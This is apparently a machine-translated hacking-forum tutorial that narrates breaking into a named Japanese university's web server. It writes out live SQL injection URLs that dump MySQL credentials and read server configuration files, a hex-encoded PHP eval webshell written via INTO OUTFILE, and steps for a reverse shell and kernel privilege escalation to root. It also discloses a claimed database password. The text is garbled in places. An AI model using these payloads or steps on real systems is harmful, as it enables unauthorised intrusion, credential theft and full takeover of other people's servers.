Intrusion into the educational administration system server of the Japanese university

I want to get some information from my sister's school, and then he will penetrate YD, and then he will succeed. Then, I sent the injected content to me, grabbed me to do it, and asked me to raise the right. By the way, I wrote a tutorial, because the Forum didn't have many tutorials on privilege escalation, 5555! ~~~~ First, the injection point: http://www.d2cto.com /Chs/news/index. php? I =-1 and then join the query, guess the field, check the version, check the password, and read the file... is a variety of queries, the statement is: http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 1, @ datadir, 3, load_file ('/etc/httpd/conf/httpd. conf '), 5, group_concat (DISTINCT + user, 0x3a, password, 0x3a, file_priv, 0x3a, host), 7,8 + from + mysql. user // @ datadir reads the apache configuration file of the website container // group_concat reads the MySQL administrator's name, password, whether to allow reading and writing files, and remote logon permitted. the root account password of MySQL is mysql00, however, the host is localhost and only local login is allowed, so it is of little use. In addition, the Apache configuration file shows that the server rejects access from non-university ip addresses/admin/and phpMyAdmin, so it is useless even if the administrator account password is disclosed. (If you are not familiar with the preceding queries and statements, refer to the following articles: http://www.bkjia.com/Article/201211/171612.html ) The previous load_file was found to have the permission restrictions on various folders, so it was not allowed to log on to the external school ip address. So I guess the absolute path of the apache configuration file is default, later, we found that it is still the default path. If you know how to guess the path of the apache configuration file, refer to the following article: http://bbs.blackbap.org/thread-2242-1-1.html Now that we know the content of the Apache configuration file, we can easily know the physical path of the website. The path is: although the/http/www/koho/directories of/admin and phpMyAdmin are restricted, we can write data to shell as long as there is an injection point, because the GPC of php is off, I won't say how to judge it as off. Write a sentence directly: http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ Listen, 0x3c3f2f2a, 3,4, 5, 6, 7, 0x2a2f3f3e + into + outfile + '/http/www/koho/english/engnews_img/aa. php '# // The final # is to close the previous statement/* Where 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E is the HEX Encoding of a sentence) if you directly select an into outfile 'path', the system will prompt that the number of fields is different. Therefore, select 1, 2, 3, 4... run the injection statement // 0x3c3f2f2a and 0x2a2f3f3e are ''hex, because the 3, 4, 5, and 6 values after the select statement are written into webshell, may cause a sentence execution error // so the last aa. the content of php is "" HEX is actually a HEX system, which can be converted by Xiao Kui through the above injection statement. We get a Trojan horse: http://www.doshisha.ac.jp/english/engnews_img/aa.php Connect with a kitchen knife. The password is cmd. If you do not use a Chinese kitchen knife, see here: http://bbs.blackbap.org/viewthread.php?tid=2244 Upload the trojan and get: http://www.doshisha.ac.jp/english/engnews_img/script.php Directly use the bounce function in shell to bounce back to the local first. Local listening: remote server-side forwarding: No rebound. Please read a post: http://bbs.blackbap.org/viewthread.php?tid=2245 Then I checked it in the command prompt line. The current permission is: I checked the/tmp/folder according to the Convention and found that the/TMP/permission was disabled, few servers disable this folder. Fortunately, granting permissions to this folder does not require the root user. Execute the authorization statement: chmod + x/tmp/. Here, the folder in linux is the same as the file, you can run the command as a file and check the kernel version uname-a // In fact, lsb_release-a kernel version: linux mainz1 2.6.28-194. e15 System Description: after checking the system version of Red Hat Enterprise Linux Server release 5.5 (Tikanga), find the corresponding Elevation of Privilege script! ~ Then upload it to the/tmp/folder and grant the execution permission. Generally, I upload the c source file and "gcc-o/tmp/Program/tmp/C source code". If gcc is unavailable, it can also be directly uploaded after compilation on other machines, just like chmod + x/tmp/2.6.18-194 and then executed directly! ~ The article ends with the root permission.